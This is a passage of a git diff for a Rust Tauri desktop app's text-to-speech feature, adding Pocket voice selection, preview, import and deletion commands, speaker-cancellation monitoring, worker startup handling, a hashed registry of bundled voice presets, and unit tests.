+    wait_for_voice_change_ack(acknowledged, VOICE_CHANGE_ACK_TIMEOUT, || {
+        pipeline.is_finished()
+    })
+    .await
+}
+
+async fn finish_durable_voice_change(voice_change: Option<VoiceChangeWait>) {
+    if let Err(error) = finish_voice_change(voice_change).await {
+        eprintln!(
+            "buzz-desktop: tts stage=voice_switch status=delayed reason=ack_timeout error={error}"
+        );
+    }
+}
+
+async fn wait_for_voice_change_ack(
+    mut acknowledged: tokio::sync::oneshot::Receiver<()>,
+    timeout: Duration,
+    mut worker_is_finished: impl FnMut() -> bool,
+) -> Result<(), String> {
+    let deadline = tokio::time::sleep(timeout);
+    tokio::pin!(deadline);
+    loop {
+        tokio::select! {
+            _ = &mut acknowledged => return Ok(()),
+            _ = &mut deadline => {
+                return Err(
+                    "Pocket TTS is still finishing the previous voice. Turn Agent text to speech off and try again."
+                        .to_string(),
+                );
+            }
+            _ = tokio::time::sleep(Duration::from_millis(25)) => {
+                if worker_is_finished() {
+                    return Ok(());
+                }
+            }
+        }
+    }
+}
+
+/// Compatibility command for the huddle speaker button. It updates the same
+/// installation-global preference as Settings; there is no per-huddle override.
+#[tauri::command]
+pub async fn set_tts_enabled(
+    enabled: bool,
+    app: AppHandle,
+    state: State<'_, AppState>,
+) -> Result<TtsSettings, String> {
+    let transition = state.huddle_audio.tts_transition.lock().await;
+    let mut settings = state
+        .huddle_audio
+        .tts
+        .lock()
+        .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))?
+        .clone();
+    settings.agent_text_to_speech = enabled;
+    let voice_change = apply_tts_settings(settings, &app, &state).await?;
+    drop(transition);
+    finish_voice_change(voice_change).await?;
+    current_settings(&state)
+}
+
+fn settings_with_pocket_voice(
+    settings: TtsSettings,
+    voice_key: &str,
+    app: &AppHandle,
+) -> Result<TtsSettings, String> {
+    settings_with_pocket_voice_from_registry(settings, voice_key, &voice_registry(app))
+}
+
+fn settings_with_pocket_voice_from_registry(
+    mut settings: TtsSettings,
+    voice_key: &str,
+    registry: &[VoiceRegistryEntry],
+) -> Result<TtsSettings, String> {
+    let voice = registry
+        .iter()
+        .find(|voice| voice.key == voice_key)
+        .ok_or_else(|| format!("Unknown voice: {voice_key}"))?;
+    if voice.backend != POCKET_BACKEND_ID || !is_locally_available(&voice.availability) {
+        return Err("The selected Pocket voice is not available on this device".to_string());
+    }
+    let first_pocket_index = settings
+        .voice_preferences
+        .iter()
+        .position(|key| key.starts_with("pocket:"));
+    settings
+        .voice_preferences
+        .retain(|key| !key.starts_with("pocket:"));
+    let insert_at = first_pocket_index
+        .unwrap_or(settings.voice_preferences.len())
+        .min(settings.voice_preferences.len());
+    settings
+        .voice_preferences
+        .insert(insert_at, voice_key.to_string());
+    Ok(settings)
+}
+
+#[tauri::command]
+pub async fn set_pocket_voice(
+    voice_key: String,
+    app: AppHandle,
+    state: State<'_, AppState>,
+) -> Result<TtsSettings, String> {
+    let transition = state.huddle_audio.tts_transition.lock().await;
+    let settings = state
+        .huddle_audio
+        .tts
+        .lock()
+        .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))?
+        .clone();
+    let settings = settings_with_pocket_voice(settings, &voice_key, &app)?;
+    let voice_change = apply_tts_settings(settings, &app, &state).await?;
+    drop(transition);
+    finish_durable_voice_change(voice_change).await;
+    current_settings(&state)
+}
+
+#[tauri::command]
+pub async fn preview_pocket_voice(
+    voice_key: String,
+    app: AppHandle,
+    state: State<'_, AppState>,
+) -> Result<(), String> {
+    let voice =
+        voice_by_key(&app, &voice_key).ok_or_else(|| format!("Unknown voice: {voice_key}"))?;
+    if voice.backend != POCKET_BACKEND_ID {
+        return Err("Only Pocket voices can be previewed in this build".to_string());
+    }
+    if !models::is_tts_ready() {
+        return Err("Voice files are still downloading. Try preview again shortly.".to_string());
+    }
+    let model_dir = models::tts_model_dir().ok_or("Pocket voice files are unavailable")?;
+    let output_device = state
+        .huddle_audio
+        .output_device
+        .lock()
+        .unwrap_or_else(|error| error.into_inner())
+        .clone();
+    let voice_name = pocket_voice_reference(&app, std::slice::from_ref(&voice_key))?;
+    tokio::task::spawn_blocking(move || {
+        let active = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false));
+        let cancel = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false));
+        let pipeline = super::tts::TtsPipeline::new_with_voice(
+            model_dir,
+            active.clone(),
+            cancel,
+            &voice_name,
+            output_device,
+            None,
+        )?;
+        pipeline.speak("Hello! This is how I’ll read agent responses.".to_string())?;
+        let started = std::time::Instant::now();
+        let mut heard_audio = false;
+        while started.elapsed() < std::time::Duration::from_secs(30) {
+            let is_active = active.load(std::sync::atomic::Ordering::Acquire);
+            heard_audio |= is_active;
+            if heard_audio && !is_active {
+                return Ok(());
+            }
+            std::thread::sleep(std::time::Duration::from_millis(25));
+        }
+        Err("Voice preview timed out. Check your audio output and try again.".to_string())
+    })
+    .await
+    .map_err(|error| format!("Voice preview task failed: {error}"))?
+}
+
+#[derive(Debug, Clone, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub struct TtsVoiceMutation {
+    pub settings: TtsSettings,
+    pub registry: Vec<VoiceRegistryEntry>,
+}
+
+#[tauri::command]
+pub async fn import_pocket_voice(
+    app: AppHandle,
+    state: State<'_, AppState>,
+) -> Result<Option<TtsVoiceMutation>, String> {
+    let Some(imported) = super::tts_voice_import::pick_and_import(&app).await? else {
+        return Ok(None);
+    };
+    let transition = state.huddle_audio.tts_transition.lock().await;
+    let settings = current_settings(&state)?;
+    let settings = settings_with_pocket_voice(settings, &imported.key, &app)?;
+    let voice_change = apply_tts_settings(settings, &app, &state).await?;
+    drop(transition);
+    finish_durable_voice_change(voice_change).await;
+    Ok(Some(TtsVoiceMutation {
+        settings: current_settings(&state)?,
+        registry: voice_registry(&app),
+    }))
+}
+
+#[tauri::command]
+pub async fn delete_pocket_voice(
+    voice_key: String,
+    app: AppHandle,
+    state: State<'_, AppState>,
+) -> Result<TtsVoiceMutation, String> {
+    if !voice_key.starts_with("pocket:imported:") {
+        return Err("Bundled voices cannot be deleted".to_string());
+    }
+    if voice_by_key(&app, &voice_key).is_none() {
+        return Err(format!("Unknown imported voice: {voice_key}"));
+    }
+
+    let transition = state.huddle_audio.tts_transition.lock().await;
+    let current = current_settings(&state)?;
+    let selected = resolve_voice_for_backend_in_registry(
+        &current.voice_preferences,
+        POCKET_BACKEND_ID,
+        &voice_registry(&app),
+    )
+    .is_ok_and(|voice| voice.key == voice_key);
+    let voice_change = if selected {
+        let fallback = settings_with_pocket_voice(current, MARY_VOICE_KEY, &app)?;
+        apply_tts_settings(fallback, &app, &state).await?
+    } else {
+        None
+    };
+    drop(transition);
+    finish_durable_voice_change(voice_change).await;
+    super::tts_voice_import::delete(&app, &voice_key)?;
+    Ok(TtsVoiceMutation {
+        settings: current_settings(&state)?,
+        registry: voice_registry(&app),
+    })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    const EVE_VOICE_KEY: &str = "pocket:eve";
+
+    #[tokio::test]
+    async fn stalled_voice_change_returns_an_actionable_error() {
+        let (_keep_pending, acknowledged) = tokio::sync::oneshot::channel();
+
+        let error = wait_for_voice_change_ack(acknowledged, Duration::from_millis(1), || false)
+            .await
+            .expect_err("stalled worker should time out");
+
+        assert!(error.contains("Turn Agent text to speech off"));
+    }
+
+    #[test]
+    fn idempotent_enable_preserves_an_existing_pipeline_cancel() {
+        let cancel = std::sync::atomic::AtomicBool::new(true);
+        prepare_enable_cancel(&cancel, true);
+        assert!(cancel.load(std::sync::atomic::Ordering::Acquire));
+        prepare_enable_cancel(&cancel, false);
+        assert!(!cancel.load(std::sync::atomic::Ordering::Acquire));
+    }
+
+    #[test]
+    fn defaults_are_backwards_compatible_and_use_mary() {
+        assert_eq!(
+            TtsSettings::default(),
+            TtsSettings {
+                version: 1,
+                agent_text_to_speech: true,
+                voice_preferences: vec!["pocket:mary".to_string()],
+            }
+        );
+    }
+
+    #[test]
+    fn registry_has_all_official_english_vctk_presets() {
+        assert_eq!(
+            bundled_voice_registry()
+                .iter()
+                .map(|voice| {
+                    (
+                        voice.key.as_str(),
+                        voice.display_name.as_str(),
+                        voice.reference_file.as_deref(),
+                    )
+                })
+                .collect::<Vec<_>>(),
+            vec![
+                ("pocket:anna", "Anna", Some("anna.wav")),
+                ("pocket:vera", "Vera", Some("vera.wav")),
+                ("pocket:fantine", "Fantine", Some("fantine.wav")),
+                ("pocket:charles", "Charles", Some("charles.wav")),
+                ("pocket:paul", "Paul", Some("paul.wav")),
+                ("pocket:eponine", "Eponine", Some("eponine.wav")),
+                ("pocket:azelma", "Azelma", Some("azelma.wav")),
+                ("pocket:george", "George", Some("george.wav")),
+                ("pocket:mary", "Mary", Some("reference_sample.wav")),
+                ("pocket:jane", "Jane", Some("jane.wav")),
+                ("pocket:michael", "Michael", Some("michael.wav")),
+                ("pocket:eve", "Eve", Some("eve.wav")),
+            ]
+        );
+    }
+
+    #[test]
+    fn local_backend_resolution_uses_first_compatible_preference() {
+        let preferences = vec![
+            "siri:aaron".to_string(),
+            EVE_VOICE_KEY.to_string(),
+            MARY_VOICE_KEY.to_string(),
+            "kokoro:af_heart".to_string(),
+        ];
+        assert_eq!(
+            resolve_voice_for_backend(&preferences, POCKET_BACKEND_ID)
+                .expect("Pocket fallback")
+                .key,
+            EVE_VOICE_KEY
+        );
+    }
+
+    #[test]
+    fn unsupported_or_missing_preferences_fall_back_to_backend_default() {
+        let preferences = vec![
+            "siri:aaron".to_string(),
+            "pocket:imported:deadbeef".to_string(),
+        ];
+        assert_eq!(
+            resolve_voice_for_backend(&preferences, POCKET_BACKEND_ID)
+                .expect("Pocket fallback")
+                .key,
+            MARY_VOICE_KEY
+        );
+    }
+
+    #[test]
+    fn identity_is_qualified_key_not_display_label() {
+        assert!(is_qualified_voice_key("pocket:imported:audio-content-hash"));
+        assert_ne!(MARY_VOICE_KEY, EVE_VOICE_KEY);
+        let mut registry = bundled_voice_registry();
+        registry[0].display_name = "Jim".to_string();
+        registry[1].display_name = "Jim".to_string();
+        assert_eq!(registry[0].display_name, registry[1].display_name);
+        assert_ne!(registry[0].key, registry[1].key);
+        assert_eq!(
+            registry
+                .iter()
+                .map(|voice| voice.key.as_str())
+                .collect::<std::collections::HashSet<_>>()
+                .len(),
+            registry.len()
+        );
+    }
+
+    #[test]
+    fn bundled_vctk_assets_match_the_registry_manifest() {
+        for voice in POCKET_VOICES {
+            let Some(bytes) = voice.bytes else {
+                continue;
+            };
+            assert_eq!(&bytes[0..4], b"RIFF", "{}", voice.display_name);
+            assert_eq!(&bytes[8..12], b"WAVE", "{}", voice.display_name);
+            assert_eq!(
+                hex::encode(<sha2::Sha256 as sha2::Digest>::digest(bytes)),
+                voice.sha256,
+                "{}",
+                voice.display_name
+            );
+        }
+    }
+
+    #[test]
+    fn migrates_unversioned_experiment_settings_to_v1_defaults() {
+        let dir = tempfile::tempdir().expect("temp dir");
+        let path = dir.path().join(SETTINGS_FILE);
+        std::fs::write(&path, r#"{"voice":"legacy-experiment"}"#).expect("fixture write");
+        assert_eq!(
+            load_from_path(&path).expect("migration"),
+            TtsSettings::default()
+        );
+    }
+
+    #[test]
+    fn migrates_bare_pocket_voice_id_to_qualified_preferences() {
+        let dir = tempfile::tempdir().expect("temp dir");
+        let path = dir.path().join(SETTINGS_FILE);
+        std::fs::write(
+            &path,
+            r#"{"version":1,"agentTextToSpeech":false,"voiceId":"eve"}"#,
+        )
+        .expect("fixture write");
+        assert_eq!(
+            load_from_path(&path).expect("migration"),
+            TtsSettings {
+                version: 1,
+                agent_text_to_speech: false,
+                voice_preferences: vec![EVE_VOICE_KEY.to_string()],
+            }
+        );
+    }
+
+    #[test]
+    fn unknown_qualified_preferences_are_preserved_for_other_clients() {
+        let dir = tempfile::tempdir().expect("temp dir");
+        let path = dir.path().join(SETTINGS_FILE);
+        std::fs::write(
+            &path,
+            r#"{"version":1,"agentTextToSpeech":false,"voicePreferences":["siri:aaron","pocket:imported:abc123"]}"#,
+        )
+        .expect("fixture write");
+        let settings = load_from_path(&path).expect("load");
+        assert!(!settings.agent_text_to_speech);
+        assert_eq!(
+            settings.voice_preferences,
+            vec!["siri:aaron", "pocket:imported:abc123"]
+        );
+    }
+
+    #[test]
+    fn rejects_future_schema_versions_clearly() {
+        let dir = tempfile::tempdir().expect("temp dir");
+        let path = dir.path().join(SETTINGS_FILE);
+        std::fs::write(
+            &path,
+            r#"{"version":99,"agentTextToSpeech":true,"voicePreferences":["pocket:mary"]}"#,
+        )
+        .expect("fixture write");
+        assert!(load_from_path(&path)
+            .expect_err("future version should fail")
+            .contains("newer than this Buzz build supports"));
+    }
+
+    #[test]
+    fn disabling_cancels_runtime_before_persistence_can_fail() {
+        let mut huddle = super::super::HuddleState {
+            tts_enabled: true,
+            ..super::super::HuddleState::default()
+        };
+        assert!(!huddle.tts_cancel.load(std::sync::atomic::Ordering::Acquire));
+        assert!(cancel_huddle_speech(&mut huddle).is_none());
+        assert!(!huddle.tts_enabled);
+        assert!(huddle.tts_cancel.load(std::sync::atomic::Ordering::Acquire));
+    }
+
+    #[test]
+    fn pocket_voice_update_preserves_the_latest_toggle_and_other_backends() {
+        let current = TtsSettings {
+            agent_text_to_speech: false,
+            voice_preferences: vec!["siri:aaron".to_string(), MARY_VOICE_KEY.to_string()],
+            ..TtsSettings::default()
+        };
+        let updated = settings_with_pocket_voice_from_registry(
+            current,
+            EVE_VOICE_KEY,
+            &bundled_voice_registry(),
+        )
+        .expect("available voice");
+        assert!(!updated.agent_text_to_speech);
+        assert_eq!(updated.voice_preferences, vec!["siri:aaron", EVE_VOICE_KEY]);
+    }
+
+    #[test]
+    fn failed_off_persistence_cannot_be_undone_by_a_later_voice_update() {
+        let state = crate::app_state::build_app_state();
+        commit_effective_off(&state).expect("commit effective OFF state");
+
+        // This models the next command after the OFF save fails: it must merge
+        // from effective memory state, not the stale last-persisted ON value.
+        let current = state.huddle_audio.tts.lock().expect("settings").clone();
+        let voice_update = settings_with_pocket_voice_from_registry(
+            current,
+            EVE_VOICE_KEY,
+            &bundled_voice_registry(),
+        )
+        .expect("available voice");
+        assert!(!voice_update.agent_text_to_speech);
+    }
+
+    #[test]
+    fn failed_disabled_voice_save_does_not_change_the_remembered_voice() {
+        let state = crate::app_state::build_app_state();
+        state
+            .huddle_audio
+            .tts
+            .lock()
+            .expect("settings")
+            .agent_text_to_speech = false;
+        let current = state.huddle_audio.tts.lock().expect("settings").clone();
+        let unsaved = settings_with_pocket_voice_from_registry(
+            current,
+            EVE_VOICE_KEY,
+            &bundled_voice_registry(),
+        )
+        .expect("available voice");
+
+        // This is the only pre-persistence mutation for an OFF candidate.
+        commit_effective_off(&state).expect("commit effective OFF state");
+        let remembered = state.huddle_audio.tts.lock().expect("settings").clone();
+        assert_eq!(remembered.voice_preferences, vec![MARY_VOICE_KEY]);
+        assert_eq!(unsaved.voice_preferences, vec![EVE_VOICE_KEY]);
+    }
+}
diff --git a/desktop/src-tauri/src/huddle/tts_speaker_cancellation.rs b/desktop/src-tauri/src/huddle/tts_speaker_cancellation.rs
new file mode 100644
index 0000000000..4b9c2824f7
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/tts_speaker_cancellation.rs
@@ -0,0 +1,177 @@
+use super::*;
+
+pub(super) struct TtsMonitorState {
+    pub(super) player: Arc<rodio::Player>,
+    pub(super) cancel: Arc<AtomicBool>,
+    pub(super) voice_cancel: Arc<AtomicBool>,
+    pub(super) tts_active: Arc<AtomicBool>,
+    pub(super) stop: Arc<AtomicBool>,
+    pub(super) player_ops: Arc<Mutex<()>>,
+    pub(super) activity_frames: Arc<Mutex<VecDeque<TtsSpeakerActivityFrame>>>,
+    pub(super) active_speaker: ActiveSpeaker,
+    pub(super) speaker_cancel: SpeakerCancellation,
+    pub(super) activity_app: Option<tauri::AppHandle>,
+}
+
+pub(super) fn spawn_tts_monitor(state: TtsMonitorState) -> std::io::Result<thread::JoinHandle<()>> {
+    thread::Builder::new()
+        .name("tts-barge-in-monitor".into())
+        .spawn(move || {
+            let mut last_activity_pubkey: Option<String> = None;
+            let mut next_activity_tick = Instant::now();
+            while !state.stop.load(Ordering::Acquire) {
+                if state.cancel.load(Ordering::Acquire)
+                    || state.voice_cancel.load(Ordering::Acquire)
+                {
+                    let _ops = lock_player_ops(&state.player_ops);
+                    if state.cancel.load(Ordering::Acquire)
+                        || state.voice_cancel.load(Ordering::Acquire)
+                    {
+                        state.player.clear();
+                        state.player.play();
+                        state
+                            .active_speaker
+                            .lock()
+                            .unwrap_or_else(|error| error.into_inner())
+                            .take();
+                        state.tts_active.store(false, Ordering::Release);
+                    }
+                }
+                silence_cancelled_speaker(
+                    &state.speaker_cancel,
+                    &state.active_speaker,
+                    &state.player,
+                    &state.player_ops,
+                    &state.tts_active,
+                );
+                if let Some(ref app) = state.activity_app {
+                    if state.tts_active.load(Ordering::Acquire) {
+                        let now = Instant::now();
+                        if now >= next_activity_tick {
+                            let frame = state
+                                .activity_frames
+                                .lock()
+                                .unwrap_or_else(|error| error.into_inner())
+                                .pop_front();
+                            if let Some(frame) = frame {
+                                use tauri::Emitter;
+                                let _ = app.emit(
+                                    "huddle-tts-speaker-level",
+                                    TtsSpeakerActivityPayload {
+                                        pubkey: Some(frame.pubkey.clone()),
+                                        level: frame.level,
+                                    },
+                                );
+                                last_activity_pubkey = Some(frame.pubkey);
+                            }
+                            next_activity_tick = now + SPEAKER_ACTIVITY_TICK;
+                        }
+                    } else {
+                        let had_activity = last_activity_pubkey.take().is_some();
+                        state
+                            .activity_frames
+                            .lock()
+                            .unwrap_or_else(|error| error.into_inner())
+                            .clear();
+                        if had_activity {
+                            use tauri::Emitter;
+                            let _ = app.emit(
+                                "huddle-tts-speaker-level",
+                                TtsSpeakerActivityPayload {
+                                    pubkey: None,
+                                    level: 0.0,
+                                },
+                            );
+                        }
+                        next_activity_tick = Instant::now();
+                    }
+                }
+                thread::sleep(MONITOR_TICK);
+            }
+        })
+}
+
+pub(super) fn silence_cancelled_speaker(
+    cancellation: &SpeakerCancellation,
+    active_speaker: &ActiveSpeaker,
+    player: &rodio::Player,
+    player_ops: &Mutex<()>,
+    tts_active: &AtomicBool,
+) {
+    let Some(cancelled) = cancellation
+        .lock()
+        .unwrap_or_else(|error| error.into_inner())
+        .clone()
+    else {
+        return;
+    };
+    let _ops = lock_player_ops(player_ops);
+    if take_cancelled_active_speaker(&cancelled, active_speaker) {
+        player.clear();
+        player.play();
+        tts_active.store(false, Ordering::Release);
+    }
+}
+
+fn take_cancelled_active_speaker(cancelled: &str, active_speaker: &ActiveSpeaker) -> bool {
+    let mut active = active_speaker
+        .lock()
+        .unwrap_or_else(|error| error.into_inner());
+    if !active
+        .as_deref()
+        .is_some_and(|speaker| speaker.eq_ignore_ascii_case(cancelled))
+    {
+        return false;
+    }
+    active.take();
+    true
+}
+
+pub(super) fn consume_speaker_cancel(
+    cancellation: &SpeakerCancellation,
+    active_speaker: &ActiveSpeaker,
+    generations: &SpeakerGenerations,
+    tts_active: &AtomicBool,
+    text_state: CancelTextState<'_>,
+    player: Option<(&rodio::Player, &Mutex<()>)>,
+) -> bool {
+    let Some(cancelled) = cancellation
+        .lock()
+        .unwrap_or_else(|error| error.into_inner())
+        .take()
+    else {
+        return false;
+    };
+    let (text_rx, deferred_text, current_text) = text_state;
+    retain_current_speaker_text(generations, deferred_text, current_text, text_rx);
+    let mut cleared_player = false;
+    if let Some((player, player_ops)) = player {
+        let _ops = lock_player_ops(player_ops);
+        if take_cancelled_active_speaker(&cancelled, active_speaker) {
+            player.clear();
+            player.play();
+            tts_active.store(false, Ordering::Release);
+            cleared_player = true;
+        }
+    }
+    // The monitor may already have cleared the cancelled speaker while the
+    // worker was blocked. If another speaker has since claimed the player,
+    // preserve that speaker's activity flag and lead-in state.
+    cleared_player
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn stale_targeted_cancel_does_not_release_the_next_speaker() {
+        let active_speaker = Arc::new(Mutex::new(Some("bob".to_string())));
+
+        assert!(!take_cancelled_active_speaker("alice", &active_speaker));
+        assert_eq!(
+            active_speaker.lock().expect("active speaker").as_deref(),
+            Some("bob")
+        );
+    }
+}
diff --git a/desktop/src-tauri/src/huddle/tts_startup.rs b/desktop/src-tauri/src/huddle/tts_startup.rs
new file mode 100644
index 0000000000..2cb50401a9
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/tts_startup.rs
@@ -0,0 +1,24 @@
+use std::{sync::mpsc, thread};
+
+pub(super) fn await_worker_startup(
+    handle: thread::JoinHandle<()>,
+    startup_rx: mpsc::Receiver<Result<(), String>>,
+) -> Result<thread::JoinHandle<()>, String> {
+    match startup_rx.recv() {
+        Ok(Ok(())) => Ok(handle),
+        Ok(Err(error)) => {
+            let _ = handle.join();
+            Err(error)
+        }
+        Err(error) => {
+            let _ = handle.join();
+            Err(format!(
+                "TTS worker exited before reporting readiness: {error}"
+            ))
+        }
+    }
+}
+
+#[cfg(test)]
+#[path = "tts_startup_tests.rs"]
+mod tests;
diff --git a/desktop/src-tauri/src/huddle/tts_startup_tests.rs b/desktop/src-tauri/src/huddle/tts_startup_tests.rs
new file mode 100644
index 0000000000..cf688c2db8
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/tts_startup_tests.rs
@@ -0,0 +1,44 @@
+use super::*;
+use std::sync::{
+    atomic::{AtomicBool, Ordering},
+    Arc,
+};
+
+#[test]
+fn startup_failure_is_returned_after_worker_exit() {
+    let (tx, rx) = mpsc::sync_channel(1);
+    let exited = Arc::new(AtomicBool::new(false));
+    let exited_worker = Arc::clone(&exited);
+    let handle = std::thread::spawn(move || {
+        tx.send(Err("output unavailable".to_string()))
+            .expect("startup receiver");
+        exited_worker.store(true, Ordering::Release);
+    });
+
+    assert_eq!(
+        await_worker_startup(handle, rx).expect_err("startup must fail"),
+        "output unavailable"
+    );
+    assert!(exited.load(Ordering::Acquire));
+}
+
+#[test]
+fn worker_exit_before_readiness_is_a_startup_error() {
+    let (tx, rx) = mpsc::sync_channel::<Result<(), String>>(1);
+    let handle = std::thread::spawn(move || drop(tx));
+
+    assert!(await_worker_startup(handle, rx)
+        .expect_err("closed startup channel must fail")
+        .contains("before reporting readiness"));
+}
+
+#[test]
+fn ready_ack_precedes_pipeline_publication_boundary() {
+    let (tx, rx) = mpsc::sync_channel(1);
+    let handle = std::thread::spawn(move || {
+        tx.send(Ok(())).expect("startup receiver");
+    });
+
+    let handle = await_worker_startup(handle, rx).expect("ready worker");
+    handle.join().expect("worker exits");
+}
diff --git a/desktop/src-tauri/src/huddle/tts_tests.rs b/desktop/src-tauri/src/huddle/tts_tests.rs
index 1908b096b1..1dee4de90c 100644
--- a/desktop/src-tauri/src/huddle/tts_tests.rs
+++ b/desktop/src-tauri/src/huddle/tts_tests.rs
@@ -32,6 +32,19 @@ mod token_split;
 //   - Counters reset on the 500ms window (Instant-based in production,
 //     on_tick() in tests — logically equivalent).
 //   - Uses Acquire for tts_active reads, Release for tts_cancel writes.
+
+#[test]
+fn tts_speaker_activity_uses_the_playback_waveform() {
+    let mut samples = vec![0.0; 1_200];
+    samples.extend(vec![0.25; 1_200]);
+
+    let frames = build_tts_speaker_activity_frames(&samples, "agent-pubkey", 24_000);
+
+    assert_eq!(frames.len(), 2);
+    assert_eq!(frames[0].pubkey, "agent-pubkey");
+    assert_eq!(frames[0].level, 0.0);
+    assert!(frames[1].level > 0.5);
+}
 //
 use crate::huddle::relay_api::REMOTE_SPEECH_THRESHOLD;
 
@@ -287,24 +300,6 @@ fn cancel_already_true_is_harmless() {
     );
 }
 
-// ── Regression: local-only interrupt still works ──────────────────────────
-
-/// The existing local barge-in path (STT detects speech → sets tts_cancel)
-/// must continue to work independently of remote frame counting.
-#[test]
-fn local_barge_in_still_works_without_remote_frames() {
-    let _tts_active = AtomicBool::new(true);
-    let tts_cancel = AtomicBool::new(false);
-
-    // Simulate local STT barge-in (stt.rs after BARGE_IN_DEBOUNCE_FRAMES).
-    tts_cancel.store(true, Ordering::Release);
-
-    assert!(
-        tts_cancel.load(Ordering::Acquire),
-        "local barge-in should set tts_cancel",
-    );
-}
-
 // ── Cancel consumption tests (TTS worker side) ────────────────────────────
 
 /// TTS worker correctly resets both tts_cancel and tts_active after cancel.
diff --git a/desktop/src-tauri/src/huddle/tts_voice_import.rs b/desktop/src-tauri/src/huddle/tts_voice_import.rs
new file mode 100644
index 0000000000..cdcc7761e2
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/tts_voice_import.rs
@@ -0,0 +1,59 @@
+//! Tauri native-picker adapter for the reusable local Pocket voice library.
+
+use std::path::PathBuf;
+
+use buzz_voice_pkg::imported::{ImportedVoice, PocketVoiceLibrary};
+use tauri::{AppHandle, Manager};
+
+pub fn voices_dir(app: &AppHandle) -> Result<PathBuf, String> {
+    app.path()
+        .app_data_dir()
+        .map(|path| path.join("tts").join("pocket-voices"))
+        .map_err(|error| format!("could not locate local voice storage: {error}"))
+}
+
+fn library(app: &AppHandle) -> Result<PocketVoiceLibrary, String> {
+    voices_dir(app).map(PocketVoiceLibrary::new)
+}
+
+pub fn load_registry(app: &AppHandle) -> Result<Vec<ImportedVoice>, String> {
+    library(app)?.load()
+}
+
+pub fn resolve_file(app: &AppHandle, voice: &ImportedVoice) -> Result<PathBuf, String> {
+    library(app)?.resolve_file(voice)
+}
+
+pub async fn pick_and_import(app: &AppHandle) -> Result<Option<ImportedVoice>, String> {
+    use tauri_plugin_dialog::DialogExt;
+
+    let (sender, receiver) = tokio::sync::oneshot::channel();
+    app.dialog()
+        .file()
+        .add_filter(
+            "Audio",
+            &["wav", "m4a", "mp3", "flac", "ogg", "oga", "aif", "aiff"],
+        )
+        .pick_file(move |path| {
+            let _ = sender.send(path);
+        });
+    let Some(file_path) = receiver
+        .await
+        .map_err(|_| "voice picker closed unexpectedly".to_string())?
+    else {
+        return Ok(None);
+    };
+    let path = file_path
+        .as_path()
+        .ok_or("the selected voice path is invalid")?
+        .to_path_buf();
+    let voice_library = library(app)?;
+    tokio::task::spawn_blocking(move || voice_library.import_path(&path))
+        .await
+        .map_err(|error| format!("voice import task failed: {error}"))?
+        .map(Some)
+}
+
+pub fn delete(app: &AppHandle, key: &str) -> Result<(), String> {
+    library(app)?.delete(key)
+}
diff --git a/desktop/src-tauri/src/huddle/tts_voice_registry.rs b/desktop/src-tauri/src/huddle/tts_voice_registry.rs
new file mode 100644
index 0000000000..bdfbd7677b
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/tts_voice_registry.rs
@@ -0,0 +1,129 @@
+//! Built-in Pocket voice identities and immutable asset metadata.
+//!
+//! Stable keys identify audio, not display labels. Future imported voices use
+//! `pocket:imported:<audio-content-sha256>` and may share editable labels.
+
+pub(super) const MARY_VOICE_KEY: &str = "pocket:mary";
+pub(super) const VCTK_REVISION: &str = "323332d33f997de8394f24a193e1a76df720e01a";
+
+pub(super) struct PocketVoiceSpec {
+    pub key: &'static str,
+    pub display_name: &'static str,
+    pub reference_file: &'static str,
+    pub upstream_file: &'static str,
+    pub sha256: &'static str,
+    pub bytes: Option<&'static [u8]>,
+}
+
+macro_rules! bundled_voice {
+    ($key:literal, $name:literal, $file:literal, $upstream:literal, $hash:literal) => {
+        PocketVoiceSpec {
+            key: $key,
+            display_name: $name,
+            reference_file: concat!($file, ".wav"),
+            upstream_file: concat!("vctk/", $upstream),
+            sha256: $hash,
+            bytes: Some(include_bytes!(concat!(
+                "../../resources/pocket-voices/",
+                $file,
+                ".wav"
+            ))),
+        }
+    };
+}
+
+/// Official English Pocket presets, in the order published by Kyutai.
+pub(super) static POCKET_VOICES: &[PocketVoiceSpec] = &[
+    bundled_voice!(
+        "pocket:anna",
+        "Anna",
+        "anna",
+        "p228_023_enhanced.wav",
+        "0a6de25cf12bf1540beb85979f306a92be81fecc051c547c5395e7e5237a3856"
+    ),
+    bundled_voice!(
+        "pocket:vera",
+        "Vera",
+        "vera",
+        "p229_023_enhanced.wav",
+        "309cf91a895830f15842b398f69a4962cb1f7e0bfab10e25dd27838e826c204b"
+    ),
+    bundled_voice!(
+        "pocket:fantine",
+        "Fantine",
+        "fantine",
+        "p244_023_enhanced.wav",
+        "5f07d4e2a3f20a15572aae885156b43ef3fc12ef3812996fd135680d9956448b"
+    ),
+    bundled_voice!(
+        "pocket:charles",
+        "Charles",
+        "charles",
+        "p254_023_enhanced.wav",
+        "6b681a429198f16e378d53bccb08d06939da7b00144a7696111d4f8f76be7756"
+    ),
+    bundled_voice!(
+        "pocket:paul",
+        "Paul",
+        "paul",
+        "p259_023_enhanced.wav",
+        "7aba504fe0b3b16478b69eb27ce6007e3cb42b0c1915b5f1c6a6024ae37d679b"
+    ),
+    bundled_voice!(
+        "pocket:eponine",
+        "Eponine",
+        "eponine",
+        "p262_023_enhanced.wav",
+        "a13c27fb47627b05223691a0ef2974358a18c886e6c2f9d2762ff1d02c20926b"
+    ),
+    bundled_voice!(
+        "pocket:azelma",
+        "Azelma",
+        "azelma",
+        "p303_023_enhanced.wav",
+        "60e3d26cdf2efdec5df712152c839928f4d5522821e6554ae11fd96c57ab1026"
+    ),
+    bundled_voice!(
+        "pocket:george",
+        "George",
+        "george",
+        "p315_023_enhanced.wav",
+        "29a41f93bf5236e5b21501091d7774c255d5f3d4e62fa4f9fdf0a92a793c84ae"
+    ),
+    PocketVoiceSpec {
+        key: MARY_VOICE_KEY,
+        display_name: "Mary",
+        reference_file: "reference_sample.wav",
+        upstream_file: "vctk/p333_023_enhanced.wav",
+        sha256: "a35b0468382218e9f37a9a7494d1e4b74deaf18d7ced22265b4e325bb55c183f",
+        bytes: None,
+    },
+    bundled_voice!(
